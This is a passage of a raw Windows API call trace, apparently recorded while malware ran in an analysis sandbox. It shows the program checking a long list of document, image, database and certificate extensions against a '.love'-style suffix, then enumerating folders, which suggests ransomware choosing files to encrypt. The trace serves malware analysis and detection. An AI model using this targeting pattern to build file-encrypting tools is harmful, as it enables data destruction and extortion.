(lpString=".as") returned 3 [0282.973] lstrcmpiW (lpString1=".as", lpString2="ve$") returned -1 [0282.973] lstrlenW (lpString=".asa") returned 4 [0282.973] lstrcmpiW (lpString1=".asa", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".asc") returned 4 [0282.973] lstrcmpiW (lpString1=".asc", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".ascx") returned 5 [0282.973] lstrcmpiW (lpString1=".ascx", lpString2="love$") returned -1 [0282.973] lstrlenW (lpString=".asm") returned 4 [0282.973] lstrcmpiW (lpString1=".asm", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".asmx") returned 5 [0282.973] lstrcmpiW (lpString1=".asmx", lpString2="love$") returned -1 [0282.973] lstrlenW (lpString=".asp") returned 4 [0282.973] lstrcmpiW (lpString1=".asp", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".aspx") returned 5 [0282.973] lstrcmpiW (lpString1=".aspx", lpString2="love$") returned -1 [0282.973] lstrlenW (lpString=".asr") returned 4 [0282.973] lstrcmpiW (lpString1=".asr", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".asx") returned 4 [0282.973] lstrcmpiW (lpString1=".asx", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".avi") returned 4 [0282.973] lstrcmpiW (lpString1=".avi", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".avs") returned 4 [0282.973] lstrcmpiW (lpString1=".avs", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".backup") returned 7 [0282.973] lstrcmpiW (lpString1=".backup", lpString2="].love$") returned -1 [0282.973] lstrlenW (lpString=".bak") returned 4 [0282.973] lstrcmpiW (lpString1=".bak", lpString2="ove$") returned -1 [0282.973] lstrlenW (lpString=".bay") returned 4 [0282.974] lstrcmpiW (lpString1=".bay", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".bd") returned 3 [0282.974] lstrcmpiW (lpString1=".bd", lpString2="ve$") returned -1 [0282.974] lstrlenW (lpString=".bin") returned 4 [0282.974] lstrcmpiW (lpString1=".bin", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".bmp") returned 4 [0282.974] lstrcmpiW (lpString1=".bmp", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".bz2") returned 4 [0282.974] lstrcmpiW (lpString1=".bz2", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".c") returned 2 [0282.974] lstrcmpiW (lpString1=".c", lpString2="e$") returned -1 [0282.974] lstrlenW (lpString=".cdr") returned 4 [0282.974] lstrcmpiW (lpString1=".cdr", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".cer") returned 4 [0282.974] lstrcmpiW (lpString1=".cer", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".cf") returned 3 [0282.974] lstrcmpiW (lpString1=".cf", lpString2="ve$") returned -1 [0282.974] lstrlenW (lpString=".cfc") returned 4 [0282.974] lstrcmpiW (lpString1=".cfc", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".cfm") returned 4 [0282.974] lstrcmpiW (lpString1=".cfm", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".cfml") returned 5 [0282.974] lstrcmpiW (lpString1=".cfml", lpString2="love$") returned -1 [0282.974] lstrlenW (lpString=".cfu") returned 4 [0282.974] lstrcmpiW (lpString1=".cfu", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".chm") returned 4 [0282.974] lstrcmpiW (lpString1=".chm", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".cin") returned 4 [0282.974] lstrcmpiW (lpString1=".cin", lpString2="ove$") returned -1 [0282.974] lstrlenW (lpString=".class") returned 6 [0282.974] lstrcmpiW (lpString1=".class", lpString2=".love$") returned -1 [0282.975] lstrlenW (lpString=".clx") returned 4 [0282.975] lstrcmpiW (lpString1=".clx", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".config") returned 7 [0282.975] lstrcmpiW (lpString1=".config", lpString2="].love$") returned -1 [0282.975] lstrlenW (lpString=".cpp") returned 4 [0282.975] lstrcmpiW (lpString1=".cpp", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".cr2") returned 4 [0282.975] lstrcmpiW (lpString1=".cr2", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".crt") returned 4 [0282.975] lstrcmpiW (lpString1=".crt", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".crw") returned 4 [0282.975] lstrcmpiW (lpString1=".crw", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".cs") returned 3 [0282.975] lstrcmpiW (lpString1=".cs", lpString2="ve$") returned -1 [0282.975] lstrlenW (lpString=".css") returned 4 [0282.975] lstrcmpiW (lpString1=".css", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".csv") returned 4 [0282.975] lstrcmpiW (lpString1=".csv", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".cub") returned 4 [0282.975] lstrcmpiW (lpString1=".cub", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".dae") returned 4 [0282.975] lstrcmpiW (lpString1=".dae", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".dat") returned 4 [0282.975] lstrcmpiW (lpString1=".dat", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".db") returned 3 [0282.975] lstrcmpiW (lpString1=".db", lpString2="ve$") returned -1 [0282.975] lstrlenW (lpString=".dbf") returned 4 [0282.975] lstrcmpiW (lpString1=".dbf", lpString2="ove$") returned -1 [0282.975] lstrlenW (lpString=".dbx") returned 4 [0282.975] lstrcmpiW (lpString1=".dbx", lpString2="ove$") returned -1 [0282.976] lstrlenW (lpString=".dc3") returned 4 [0282.976] lstrcmpiW (lpString1=".dc3", lpString2="ove$") returned -1 [0282.976] lstrlenW (lpString=".dcm") returned 4 [0282.976] lstrcmpiW (lpString1=".dcm", lpString2="ove$") returned -1 [0282.976] lstrlenW (lpString=".dcr") returned 4 [0282.976] lstrcmpiW (lpString1=".dcr", lpString2="ove$") returned -1 [0282.976] lstrlenW (lpString=".der") returned 4 [0282.976] lstrcmpiW (lpString1=".der", lpString2="ove$") returned -1 [0282.976] lstrlenW (lpString=".dib") returned 4 [0282.976] lstrcmpiW (lpString1=".dib", lpString2="ove$") returned -1 [0282.976] lstrlenW (lpString=".dic") returned 4 [0282.976] lstrcmpiW (lpString1=".dic", lpString2="ove$") returned -1 [0282.976] lstrlenW (lpString=".dif") returned 4 [0282.976] lstrcmpiW (lpString1=".dif", lpString2="ove$") returned -1 [0282.976] lstrlenW (lpString=".divx") returned 5 [0282.976] lstrcmpiW (lpString1=".divx", lpString2="love$") returned -1 [0282.976] lstrlenW (lpString=".djvu") returned 5 [0282.976] lstrcmpiW (lpString1=".djvu", lpString2="love$") returned -1 [0282.976] lstrlenW (lpString=".dng") returned 4 [0282.977] lstrcmpiW (lpString1=".dng", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".doc") returned 4 [0282.977] lstrcmpiW (lpString1=".doc", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".docm") returned 5 [0282.977] lstrcmpiW (lpString1=".docm", lpString2="love$") returned -1 [0282.977] lstrlenW (lpString=".docx") returned 5 [0282.977] lstrcmpiW (lpString1=".docx", lpString2="love$") returned -1 [0282.977] lstrlenW (lpString=".dot") returned 4 [0282.977] lstrcmpiW (lpString1=".dot", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".dotm") returned 5 [0282.977] lstrcmpiW (lpString1=".dotm", lpString2="love$") returned -1 [0282.977] lstrlenW (lpString=".dotx") returned 5 [0282.977] lstrcmpiW (lpString1=".dotx", lpString2="love$") returned -1 [0282.977] lstrlenW (lpString=".dpx") returned 4 [0282.977] lstrcmpiW (lpString1=".dpx", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".dqy") returned 4 [0282.977] lstrcmpiW (lpString1=".dqy", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".dsn") returned 4 [0282.977] lstrcmpiW (lpString1=".dsn", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".dt") returned 3 [0282.977] lstrcmpiW (lpString1=".dt", lpString2="ve$") returned -1 [0282.977] lstrlenW (lpString=".dtd") returned 4 [0282.977] lstrcmpiW (lpString1=".dtd", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".dwg") returned 4 [0282.977] lstrcmpiW (lpString1=".dwg", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".dwt") returned 4 [0282.977] lstrcmpiW (lpString1=".dwt", lpString2="ove$") returned -1 [0282.977] lstrlenW (lpString=".dx") returned 3 [0282.977] lstrcmpiW (lpString1=".dx", lpString2="ve$") returned -1 [0282.978] lstrlenW (lpString=".dxf") returned 4 [0282.978] lstrcmpiW (lpString1=".dxf", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".edml") returned 5 [0282.978] lstrcmpiW (lpString1=".edml", lpString2="love$") returned -1 [0282.978] lstrlenW (lpString=".efd") returned 4 [0282.978] lstrcmpiW (lpString1=".efd", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".elf") returned 4 [0282.978] lstrcmpiW (lpString1=".elf", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".emf") returned 4 [0282.978] lstrcmpiW (lpString1=".emf", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".emz") returned 4 [0282.978] lstrcmpiW (lpString1=".emz", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".epf") returned 4 [0282.978] lstrcmpiW (lpString1=".epf", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".eps") returned 4 [0282.978] lstrcmpiW (lpString1=".eps", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".epsf") returned 5 [0282.978] lstrcmpiW (lpString1=".epsf", lpString2="love$") returned -1 [0282.978] lstrlenW (lpString=".epsp") returned 5 [0282.978] lstrcmpiW (lpString1=".epsp", lpString2="love$") returned -1 [0282.978] lstrlenW (lpString=".erf") returned 4 [0282.978] lstrcmpiW (lpString1=".erf", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".exr") returned 4 [0282.978] lstrcmpiW (lpString1=".exr", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".f4v") returned 4 [0282.978] lstrcmpiW (lpString1=".f4v", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".fido") returned 5 [0282.978] lstrcmpiW (lpString1=".fido", lpString2="love$") returned -1 [0282.978] lstrlenW (lpString=".flm") returned 4 [0282.978] lstrcmpiW (lpString1=".flm", lpString2="ove$") returned -1 [0282.978] lstrlenW (lpString=".flv") returned 4 [0282.978] lstrcmpiW (lpString1=".flv", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".frm") returned 4 [0282.979] lstrcmpiW (lpString1=".frm", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".fxg") returned 4 [0282.979] lstrcmpiW (lpString1=".fxg", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".geo") returned 4 [0282.979] lstrcmpiW (lpString1=".geo", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".gif") returned 4 [0282.979] lstrcmpiW (lpString1=".gif", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".grs") returned 4 [0282.979] lstrcmpiW (lpString1=".grs", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".gz") returned 3 [0282.979] lstrcmpiW (lpString1=".gz", lpString2="ve$") returned -1 [0282.979] lstrlenW (lpString=".h") returned 2 [0282.979] lstrcmpiW (lpString1=".h", lpString2="e$") returned -1 [0282.979] lstrlenW (lpString=".hdr") returned 4 [0282.979] lstrcmpiW (lpString1=".hdr", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".hpp") returned 4 [0282.979] lstrcmpiW (lpString1=".hpp", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".hta") returned 4 [0282.979] lstrcmpiW (lpString1=".hta", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".htc") returned 4 [0282.979] lstrcmpiW (lpString1=".htc", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".htm") returned 4 [0282.979] lstrcmpiW (lpString1=".htm", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".html") returned 5 [0282.979] lstrcmpiW (lpString1=".html", lpString2="love$") returned -1 [0282.979] lstrlenW (lpString=".icb") returned 4 [0282.979] lstrcmpiW (lpString1=".icb", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".ics") returned 4 [0282.979] lstrcmpiW (lpString1=".ics", lpString2="ove$") returned -1 [0282.979] lstrlenW (lpString=".iff") returned 4 [0282.979] lstrcmpiW (lpString1=".iff", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".inc") returned 4 [0282.980] lstrcmpiW (lpString1=".inc", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".indd") returned 5 [0282.980] lstrcmpiW (lpString1=".indd", lpString2="love$") returned -1 [0282.980] lstrlenW (lpString=".ini") returned 4 [0282.980] lstrcmpiW (lpString1=".ini", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".iqy") returned 4 [0282.980] lstrcmpiW (lpString1=".iqy", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".j2c") returned 4 [0282.980] lstrcmpiW (lpString1=".j2c", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".j2k") returned 4 [0282.980] lstrcmpiW (lpString1=".j2k", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".java") returned 5 [0282.980] lstrcmpiW (lpString1=".java", lpString2="love$") returned -1 [0282.980] lstrlenW (lpString=".jp2") returned 4 [0282.980] lstrcmpiW (lpString1=".jp2", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".jpc") returned 4 [0282.980] lstrcmpiW (lpString1=".jpc", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".jpe") returned 4 [0282.980] lstrcmpiW (lpString1=".jpe", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".jpeg") returned 5 [0282.980] lstrcmpiW (lpString1=".jpeg", lpString2="love$") returned -1 [0282.980] lstrlenW (lpString=".jpf") returned 4 [0282.980] lstrcmpiW (lpString1=".jpf", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".jpg") returned 4 [0282.980] lstrcmpiW (lpString1=".jpg", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".jpx") returned 4 [0282.980] lstrcmpiW (lpString1=".jpx", lpString2="ove$") returned -1 [0282.980] lstrlenW (lpString=".js") returned 3 [0282.980] lstrcmpiW (lpString1=".js", lpString2="ve$") returned -1 [0282.980] lstrlenW (lpString=".jsf") returned 4 [0282.980] lstrcmpiW (lpString1=".jsf", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".json") returned 5 [0282.981] lstrcmpiW (lpString1=".json", lpString2="love$") returned -1 [0282.981] lstrlenW (lpString=".jsp") returned 4 [0282.981] lstrcmpiW (lpString1=".jsp", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".kdc") returned 4 [0282.981] lstrcmpiW (lpString1=".kdc", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".kmz") returned 4 [0282.981] lstrcmpiW (lpString1=".kmz", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".kwm") returned 4 [0282.981] lstrcmpiW (lpString1=".kwm", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".lasso") returned 6 [0282.981] lstrcmpiW (lpString1=".lasso", lpString2=".love$") returned -1 [0282.981] lstrlenW (lpString=".lbi") returned 4 [0282.981] lstrcmpiW (lpString1=".lbi", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".lgf") returned 4 [0282.981] lstrcmpiW (lpString1=".lgf", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".lgp") returned 4 [0282.981] lstrcmpiW (lpString1=".lgp", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".log") returned 4 [0282.981] lstrcmpiW (lpString1=".log", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".m1v") returned 4 [0282.981] lstrcmpiW (lpString1=".m1v", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".m4a") returned 4 [0282.981] lstrcmpiW (lpString1=".m4a", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".m4v") returned 4 [0282.981] lstrcmpiW (lpString1=".m4v", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".max") returned 4 [0282.981] lstrcmpiW (lpString1=".max", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".md") returned 3 [0282.981] lstrcmpiW (lpString1=".md", lpString2="ve$") returned -1 [0282.981] lstrlenW (lpString=".mda") returned 4 [0282.981] lstrcmpiW (lpString1=".mda", lpString2="ove$") returned -1 [0282.981] lstrlenW (lpString=".mdb") returned 4 [0282.982] lstrcmpiW (lpString1=".mdb", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mde") returned 4 [0282.982] lstrcmpiW (lpString1=".mde", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mdf") returned 4 [0282.982] lstrcmpiW (lpString1=".mdf", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mdw") returned 4 [0282.982] lstrcmpiW (lpString1=".mdw", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mef") returned 4 [0282.982] lstrcmpiW (lpString1=".mef", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mft") returned 4 [0282.982] lstrcmpiW (lpString1=".mft", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mfw") returned 4 [0282.982] lstrcmpiW (lpString1=".mfw", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mht") returned 4 [0282.982] lstrcmpiW (lpString1=".mht", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mhtml") returned 6 [0282.982] lstrcmpiW (lpString1=".mhtml", lpString2=".love$") returned 1 [0282.982] lstrlenW (lpString=".mka") returned 4 [0282.982] lstrcmpiW (lpString1=".mka", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mkidx") returned 6 [0282.982] lstrcmpiW (lpString1=".mkidx", lpString2=".love$") returned 1 [0282.982] lstrlenW (lpString=".mkv") returned 4 [0282.982] lstrcmpiW (lpString1=".mkv", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mos") returned 4 [0282.982] lstrcmpiW (lpString1=".mos", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mov") returned 4 [0282.982] lstrcmpiW (lpString1=".mov", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mp3") returned 4 [0282.982] lstrcmpiW (lpString1=".mp3", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mp4") returned 4 [0282.982] lstrcmpiW (lpString1=".mp4", lpString2="ove$") returned -1 [0282.982] lstrlenW (lpString=".mpeg") returned 5 [0282.983] lstrcmpiW (lpString1=".mpeg", lpString2="love$") returned -1 [0282.983] lstrlenW (lpString=".mpg") returned 4 [0282.983] lstrcmpiW (lpString1=".mpg", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".mpv") returned 4 [0282.983] lstrcmpiW (lpString1=".mpv", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".mrw") returned 4 [0282.983] lstrcmpiW (lpString1=".mrw", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".msg") returned 4 [0282.983] lstrcmpiW (lpString1=".msg", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".mxl") returned 4 [0282.983] lstrcmpiW (lpString1=".mxl", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".myd") returned 4 [0282.983] lstrcmpiW (lpString1=".myd", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".myi") returned 4 [0282.983] lstrcmpiW (lpString1=".myi", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".nef") returned 4 [0282.983] lstrcmpiW (lpString1=".nef", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".nrw") returned 4 [0282.983] lstrcmpiW (lpString1=".nrw", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".obj") returned 4 [0282.983] lstrcmpiW (lpString1=".obj", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".odb") returned 4 [0282.983] lstrcmpiW (lpString1=".odb", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".odc") returned 4 [0282.983] lstrcmpiW (lpString1=".odc", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".odm") returned 4 [0282.983] lstrcmpiW (lpString1=".odm", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".odp") returned 4 [0282.983] lstrcmpiW (lpString1=".odp", lpString2="ove$") returned -1 [0282.983] lstrlenW (lpString=".ods") returned 4 [0282.983] lstrcmpiW (lpString1=".ods", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".oft") returned 4 [0282.984] lstrcmpiW (lpString1=".oft", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".one") returned 4 [0282.984] lstrcmpiW (lpString1=".one", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".onepkg") returned 7 [0282.984] lstrcmpiW (lpString1=".onepkg", lpString2="].love$") returned -1 [0282.984] lstrlenW (lpString=".onetoc2") returned 8 [0282.984] lstrcmpiW (lpString1=".onetoc2", lpString2="m].love$") returned -1 [0282.984] lstrlenW (lpString=".opt") returned 4 [0282.984] lstrcmpiW (lpString1=".opt", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".oqy") returned 4 [0282.984] lstrcmpiW (lpString1=".oqy", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".orf") returned 4 [0282.984] lstrcmpiW (lpString1=".orf", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".p12") returned 4 [0282.984] lstrcmpiW (lpString1=".p12", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".p7b") returned 4 [0282.984] lstrcmpiW (lpString1=".p7b", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".p7c") returned 4 [0282.984] lstrcmpiW (lpString1=".p7c", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".pam") returned 4 [0282.984] lstrcmpiW (lpString1=".pam", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".pbm") returned 4 [0282.984] lstrcmpiW (lpString1=".pbm", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".pct") returned 4 [0282.984] lstrcmpiW (lpString1=".pct", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".pcx") returned 4 [0282.984] lstrcmpiW (lpString1=".pcx", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".pdd") returned 4 [0282.984] lstrcmpiW (lpString1=".pdd", lpString2="ove$") returned -1 [0282.984] lstrlenW (lpString=".pdf") returned 4 [0282.985] lstrcmpiW (lpString1=".pdf", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".pdp") returned 4 [0282.985] lstrcmpiW (lpString1=".pdp", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".pef") returned 4 [0282.985] lstrcmpiW (lpString1=".pef", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".pem") returned 4 [0282.985] lstrcmpiW (lpString1=".pem", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".pff") returned 4 [0282.985] lstrcmpiW (lpString1=".pff", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".pfm") returned 4 [0282.985] lstrcmpiW (lpString1=".pfm", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".pfx") returned 4 [0282.985] lstrcmpiW (lpString1=".pfx", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".pgm") returned 4 [0282.985] lstrcmpiW (lpString1=".pgm", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".php") returned 4 [0282.985] lstrcmpiW (lpString1=".php", lpString2="ove$") returned -1 [0282.985] lstrlenW (lpString=".php3") returned 5 [0282.985] lstrcmpiW (lpString1=".php3", lpString2="love$") returned -1 [0282.985] lstrlenW (lpString=".php4") returned 5 [0282.985] lstrcmpiW (lpString1=".php4", lpString2="love$") returned -1 [0282.985] lstrlenW (lpString=".php5") returned 5 [0282.985] lstrcmpiW (lpString1=".php5", lpString2="love$") returned -1 [0282.985] lstrlenW (lpString=".phtml") returned 6 [0282.985] lstrcmpiW (lpString1=".phtml", lpString2=".love$") returned 1 [0282.985] lstrlenW (lpString=".pict") returned 5 [0282.986] lstrcmpiW (lpString1=".pict", lpString2="love$") returned -1 [0282.986] lstrlenW (lpString=".pl") returned 3 [0282.986] lstrcmpiW (lpString1=".pl", lpString2="ve$") returned -1 [0282.986] lstrlenW (lpString=".pls") returned 4 [0282.986] lstrcmpiW (lpString1=".pls", lpString2="ove$") returned -1 [0282.986] lstrlenW (lpString=".pm") returned 3 [0282.986] lstrcmpiW (lpString1=".pm", lpString2="ve$") returned -1 [0282.986] lstrlenW (lpString=".png") returned 4 [0282.986] lstrcmpiW (lpString1=".png", lpString2="ove$") returned -1 [0282.986] lstrlenW (lpString=".pnm") returned 4 [0282.986] lstrcmpiW (lpString1=".pnm", lpString2="ove$") returned -1 [0282.986] lstrlenW (lpString=".pot") returned 4 [0282.986] lstrcmpiW (lpString1=".pot", lpString2="ove$") returned -1 [0282.986] lstrlenW (lpString=".potm") returned 5 [0282.986] lstrcmpiW (lpString1=".potm", lpString2="love$") returned -1 [0282.986] lstrlenW (lpString=".potx") returned 5 [0282.986] lstrcmpiW (lpString1=".potx", lpString2="love$") returned -1 [0282.986] lstrlenW (lpString=".ppa") returned 4 [0282.986] lstrcmpiW (lpString1=".ppa", lpString2="ove$") returned -1 [0282.986] lstrlenW (lpString=".ppam") returned 5 [0282.986] lstrcmpiW (lpString1=".ppam", lpString2="love$") returned -1 [0282.986] lstrlenW (lpString=".ppm") returned 4 [0282.986] lstrcmpiW (lpString1=".ppm", lpString2="ove$") returned -1 [0282.986] lstrlenW (lpString=".pps") returned 4 [0282.986] lstrcmpiW (lpString1=".pps", lpString2="ove$") returned -1 [0282.986] lstrlenW (lpString=".ppsm") returned 5 [0282.986] lstrcmpiW (lpString1=".ppsm", lpString2="love$") returned -1 [0282.986] lstrlenW (lpString=".ppt") returned 4 [0282.986] lstrcmpiW (lpString1=".ppt", lpString2="ove$") returned -1 [0282.986] lstrlenW (lpString=".pptm") returned 5 [0282.987] lstrcmpiW (lpString1=".pptm", lpString2="love$") returned -1 [0282.987] lstrlenW (lpString=".pptx") returned 5 [0282.987] lstrcmpiW (lpString1=".pptx", lpString2="love$") returned -1 [0282.987] lstrlenW (lpString=".prn") returned 4 [0282.987] lstrcmpiW (lpString1=".prn", lpString2="ove$") returned -1 [0282.987] lstrlenW (lpString=".ps") returned 3 [0282.987] lstrcmpiW (lpString1=".ps", lpString2="ve$") returned -1 [0282.987] lstrlenW (lpString=".psb") returned 4 [0282.987] lstrcmpiW (lpString1=".psb", lpString2="ove$") returned -1 [0282.987] lstrlenW (lpString=".psd") returned 4 [0282.987] lstrcmpiW (lpString1=".psd", lpString2="ove$") returned -1 [0282.987] lstrlenW (lpString=".pst") returned 4 [0282.987] lstrcmpiW (lpString1=".pst", lpString2="ove$") returned -1 [0282.987] lstrlenW (lpString=".ptx") returned 4 [0282.987] lstrcmpiW (lpString1=".ptx", lpString2="ove$") returned -1 [0282.987] lstrlenW (lpString=".pub") returned 4 [0282.987] lstrcmpiW (lpString1=".pub", lpString2="ove$") returned -1 [0282.987] lstrlenW (lpString=".pwm") returned 4 [0282.987] lstrcmpiW (lpString1=".pwm", lpString2="ove$") returned -1 [0282.988] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0282.988] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0282.991] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0282.991] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0282.991] FindClose (in: hFindFile=0x543fd0 | out: hFindFile=0x543fd0) returned 1 [0282.991] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0282.992] FindNextFileW (in: hFindFile=0x543c90, 